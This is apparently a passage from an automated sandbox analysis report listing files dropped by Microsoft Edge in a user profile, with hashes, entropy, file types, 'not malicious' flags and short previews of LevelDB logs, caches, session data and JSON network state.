MD5:	C515B6E19F68445D23CAA07649B64885
SHA1:	89BF72243AAD56A75EF90DF059D94F0FAC7B7E2A
SHA-256:	80D7D6E1CEED805F736005F9A6D761E5BC53B247065EA0941E90F42E7F78C20F
SHA-512:	C3C81060E0D18FF66333A8A68DED08ED66C62271D5A07466FCCB7B986043403A2EA085162244D9274B3CEB68A7A07040B617A4234A9F49D8655A4528EED5BA36
Malicious:	false
Preview:	2024/11/27-13:49:22.315 1b00 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/27-13:49:22.343 1b00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	85642
Entropy (8bit):	5.602928434296761
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfm4:d9LyxPXfOxr1lMe1nL/CL/TXEms/
MD5:	6FE4A1E99D9B57DF6F90924652B77D9E
SHA1:	74F07B3BCD77DD51AB010B198FADA8025BD23341
SHA-256:	6C25F8F4BDD7E45351443BF99AAD547E5CEFA2650538B4AA982CE7549FF04E7D
SHA-512:	448354443C64F04EF0448251E8E02C806AE554E0B622EDED8CA4BC358145C71572308CF2A751AF96231AB7B9D33D779AD5641649E52DDB5893BE1CF485DD204F
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:yfwKPyE3l+aCn:yf39s1
MD5:	1F6E2B3830239E5075D281FFEDA1C268
SHA1:	205037F9E527D26E8171205F786B4EB5A4C29677
SHA-256:	07CF4F96AA6388EB244DBD78B7ED5B93BB8EC4331CDAC2A2915603AE72AA779E
SHA-512:	7EF5C351E4858ADFC5C873E32433F74E9F668CDB8EFED23FB064E09C48693C439D84E8DA75A76B51F406474C45CE71D0A9A04AD578CBECDFF42F2E5AAEDC3915
Malicious:	false
Preview:	(....zH.oy retne.........................$.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:yfwKPyE3l+aCn:yf39s1
MD5:	1F6E2B3830239E5075D281FFEDA1C268
SHA1:	205037F9E527D26E8171205F786B4EB5A4C29677
SHA-256:	07CF4F96AA6388EB244DBD78B7ED5B93BB8EC4331CDAC2A2915603AE72AA779E
SHA-512:	7EF5C351E4858ADFC5C873E32433F74E9F668CDB8EFED23FB064E09C48693C439D84E8DA75A76B51F406474C45CE71D0A9A04AD578CBECDFF42F2E5AAEDC3915
Malicious:	false
Preview:	(....zH.oy retne.........................$.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF2f14b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:yfwKPyE3l+aCn:yf39s1
MD5:	1F6E2B3830239E5075D281FFEDA1C268
SHA1:	205037F9E527D26E8171205F786B4EB5A4C29677
SHA-256:	07CF4F96AA6388EB244DBD78B7ED5B93BB8EC4331CDAC2A2915603AE72AA779E
SHA-512:	7EF5C351E4858ADFC5C873E32433F74E9F668CDB8EFED23FB064E09C48693C439D84E8DA75A76B51F406474C45CE71D0A9A04AD578CBECDFF42F2E5AAEDC3915
Malicious:	false
Preview:	(....zH.oy retne.........................$.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7597
Entropy (8bit):	3.3682355657219296
Encrypted:	false
SSDEEP:	192:Jh3EjhpPTNVkVhM9Xp+oKUU5SLl9iSrWDhgv1:JkhpPT59Xp+/35SLl9iSrqmv
MD5:	DA372EF031360145D84DF14F85C65F70
SHA1:	C38187087E757444ADAD0232582457B85044394D
SHA-256:	6AE307E83B0F183CE968C379746016643DC453A3763FB018E68CF617BC9DAECD
SHA-512:	B20F2E575E595D04BA83AFF2E9B01FC16BB4C26BB6E6D17FF393981E23571C9DAB0BC322302247145F5C90CDECA6DBF4031673DCA4D4224B63E61145EBA48865
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................\.b................next-map-id.1.Cnamespace-ffc965a0_7204_47b7_95e2_c80102d2986d-https://ntp.msn.com/.0V.e................V.e................V.e..................S.h................map-0-shd_sweeper.8{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.p.o.f.l.i.o.,.p.r.g.-.e.h.p.s.b.h.v.c.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.t.,.c.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.,.p.r.g.-.1.s.-.d.w.v.i.d.-.c.t.r.,.p.r.g.-.1.s.w.-.m.i.t.o.t.d.u.s.,.1.s.-.a.c.t.n.t.h.i.s.d.a.y.,.p.r.g.-.1.s.w.-.o.t.d.s.g.p.r.,.p.r.g.-.1.s.w.-.s.a.-.t.s.i.n.d.e.x.t.2.,.p.r.g.-.1.s.w.-.e.d.g.e.w.p.o.6.e.m.p.t.y.,.p.r.g.-.1.s.w.-.s.a.-.v.b.l.v._.c.l.2._.e.x.p.,.p.r.g.-.1.s.w.-.m.s.n.h.o.m.e.,.p.r.g.-.1.s.w.-.a.b.r.t.p.g.-.r.,.p.r.g.-.1.s.w.-.r.e.v._.a.b.r.t.p.g.,.p.r.g.-.1.s.w.-.w.e.b.c.o.m.p.t.e.l.,.1.s.-.p.1.-.v.i.d.-.h.i.d.e.,.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.193368456072373
Encrypted:	false
SSDEEP:	6:HC/WSQ+q2PcNwi23oH+TcwtrQMxIFUt8YC/sSgZmw+YC/ZuvQVkwOcNwi23oH+Tv:6VvLZYebCFUt8CSg/+GI54ZYebtJ
MD5:	F6711C0DA4C05C64B189DE981AA097DD
SHA1:	813685AFAA6E11AC56ED2C6DE925262F2A483A55
SHA-256:	F633E37D06ED8F89025BF0D673587EA194031CCD1BB0CC0DE19E7B5452BA7FAF
SHA-512:	F180EFDE6F930A9C058F828A5FEB21EBC763842D8447BED296A5EA3710DB74D4A9D0113BBA9952590EF94525D38CDEFC58C8B2C86938D20FA2E33F68E03DEF00
Malicious:	false
Preview:	2024/11/27-13:49:03.811 1f58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/27-13:49:03.817 1f58 Recovering log #3.2024/11/27-13:49:03.821 1f58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.193368456072373
Encrypted:	false
SSDEEP:	6:HC/WSQ+q2PcNwi23oH+TcwtrQMxIFUt8YC/sSgZmw+YC/ZuvQVkwOcNwi23oH+Tv:6VvLZYebCFUt8CSg/+GI54ZYebtJ
MD5:	F6711C0DA4C05C64B189DE981AA097DD
SHA1:	813685AFAA6E11AC56ED2C6DE925262F2A483A55
SHA-256:	F633E37D06ED8F89025BF0D673587EA194031CCD1BB0CC0DE19E7B5452BA7FAF
SHA-512:	F180EFDE6F930A9C058F828A5FEB21EBC763842D8447BED296A5EA3710DB74D4A9D0113BBA9952590EF94525D38CDEFC58C8B2C86938D20FA2E33F68E03DEF00
Malicious:	false
Preview:	2024/11/27-13:49:03.811 1f58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/27-13:49:03.817 1f58 Recovering log #3.2024/11/27-13:49:03.821 1f58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13377206945184241

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.814361605672082
Encrypted:	false
SSDEEP:	24:3nj5gliBOMWAhx1psAF4unx3itLp3X2amEtG1ChqzOsBKQKkOAM4:3V0iBOMpnzFnULp2FEkChoOILHOp
MD5:	3B74D6E95D4C48E43A6A8688FE10BF0C
SHA1:	13CF32A211FB9674F0EE85681D2342064EF3219C
SHA-256:	59B2339F53223C98FC995DD901037FD6D215332BC33C6E456C234E683F0E65C7
SHA-512:	B20E73014FE724E1379CB8ACAADE7AF33284AEEC166B3D8AF23CA090D4269D630C3141FB1A82A55C9C402E88A57A3525ED9F7A31E84F2D0309394B9C7A30045E
Malicious:	false
Preview:	SNSS..........M..............M......"...M..............M..........M..........M..........M....!.....M..................................M...M1..,......M$...ffc965a0_7204_47b7_95e2_c80102d2986d......M..........M....5e............M......M..........................M....................5..0......M&...{4B3AC14B-43E5-4896-86E8-9E7D502CE1B5}........M.............M..........................M..............M........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.........k.'....k.'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	355
Entropy (8bit):	5.1824595303198135
Encrypted:	false
SSDEEP:	6:HC/1l51L+q2PcNwi23oH+Tcwt7Uh2ghZIFUt8YC/1m1Zmw+YC/1wLVkwOcNwi23k:Cl59+vLZYebIhHh2FUt8zm1/+zwV54Z0
MD5:	2FB1A3236A89C513A989120CAD17A1B8
SHA1:	40494F5EA9F839309D2C308C90F2A29D68CD42C9
SHA-256:	9426265EADFA33E07DB7897D283D338134B9F47392B5013A7E687E3693D6ADDF
SHA-512:	BB05EBA04171F40D5B003CD8CF8D073D462C497E203F248091CB4B7C7065E607CC04FE2D4E696D63CA6D208C83C033B99E32A6FBAA05455CD9AA8176C351A7E3
Malicious:	false
Preview:	2024/11/27-13:49:02.778 87c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/27-13:49:02.779 87c Recovering log #3.2024/11/27-13:49:02.779 87c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	355
Entropy (8bit):	5.1824595303198135
Encrypted:	false
SSDEEP:	6:HC/1l51L+q2PcNwi23oH+Tcwt7Uh2ghZIFUt8YC/1m1Zmw+YC/1wLVkwOcNwi23k:Cl59+vLZYebIhHh2FUt8zm1/+zwV54Z0
MD5:	2FB1A3236A89C513A989120CAD17A1B8
SHA1:	40494F5EA9F839309D2C308C90F2A29D68CD42C9
SHA-256:	9426265EADFA33E07DB7897D283D338134B9F47392B5013A7E687E3693D6ADDF
SHA-512:	BB05EBA04171F40D5B003CD8CF8D073D462C497E203F248091CB4B7C7065E607CC04FE2D4E696D63CA6D208C83C033B99E32A6FBAA05455CD9AA8176C351A7E3
Malicious:	false
Preview:	2024/11/27-13:49:02.778 87c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/27-13:49:02.779 87c Recovering log #3.2024/11/27-13:49:02.779 87c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0018164538716206493
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEZlTR1l:/M/xT02zSb
MD5:	DCBEC114399AAA5AD4F8DBEBFA6018A9
SHA1:	A1A6207A0B85B872D67220C79DDC2A6E7B9015F8
SHA-256:	8E9281892D4CC2129F6E60C0A3A1E49D4268B6C62C6D2725B8B7F10720C02B21
SHA-512:	C625CC06ECBFAE4A5681F9EB601C7C264922CC29D6DD9013B263486A9AEDF0C7EF846DBDB0DA0D14BD34807B7EB34DB5EC3D6A9B073C95AA75904BDCF729099D
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.291934304147454
Encrypted:	false
SSDEEP:	12:g2VvLZYebvqBQFUt8Hvg/+lRQI54ZYebvqBvJ:zlYebvZg8H3zoYebvk
MD5:	1AFEE93A3ABD3D4D7B5C08BB09BF8A8B
SHA1:	4123BFB876CC319CA5F3DF440CC0B580B17BE679
SHA-256:	689879C3F207E6DC1A6633E29270B89E31877888D5CF45BFDED8C9430D2623BE
SHA-512:	8862067FF5678B5DBAC82BF615C527898B2C142775B0DADC2EA804160D6DFB0E13B9D867740937BD92CF50F32E0F2B9E449DC116329B1CB28750A3023B508D29
Malicious:	false
Preview:	2024/11/27-13:49:03.863 1f58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/27-13:49:03.864 1f58 Recovering log #3.2024/11/27-13:49:03.867 1f58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.291934304147454
Encrypted:	false
SSDEEP:	12:g2VvLZYebvqBQFUt8Hvg/+lRQI54ZYebvqBvJ:zlYebvZg8H3zoYebvk
MD5:	1AFEE93A3ABD3D4D7B5C08BB09BF8A8B
SHA1:	4123BFB876CC319CA5F3DF440CC0B580B17BE679
SHA-256:	689879C3F207E6DC1A6633E29270B89E31877888D5CF45BFDED8C9430D2623BE
SHA-512:	8862067FF5678B5DBAC82BF615C527898B2C142775B0DADC2EA804160D6DFB0E13B9D867740937BD92CF50F32E0F2B9E449DC116329B1CB28750A3023B508D29
Malicious:	false
Preview:	2024/11/27-13:49:03.863 1f58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/27-13:49:03.864 1f58 Recovering log #3.2024/11/27-13:49:03.867 1f58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1079519c-93f6-421d-9ef5-70f1f5cfaaa4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2d93751a-582e-496d-94b2-3394581e2a24.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\653e58d6-5fbb-4435-b4ea-34151cfa0bf9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\8e047040-4eac-4ddd-a957-96691f09bc7e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF27d83.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
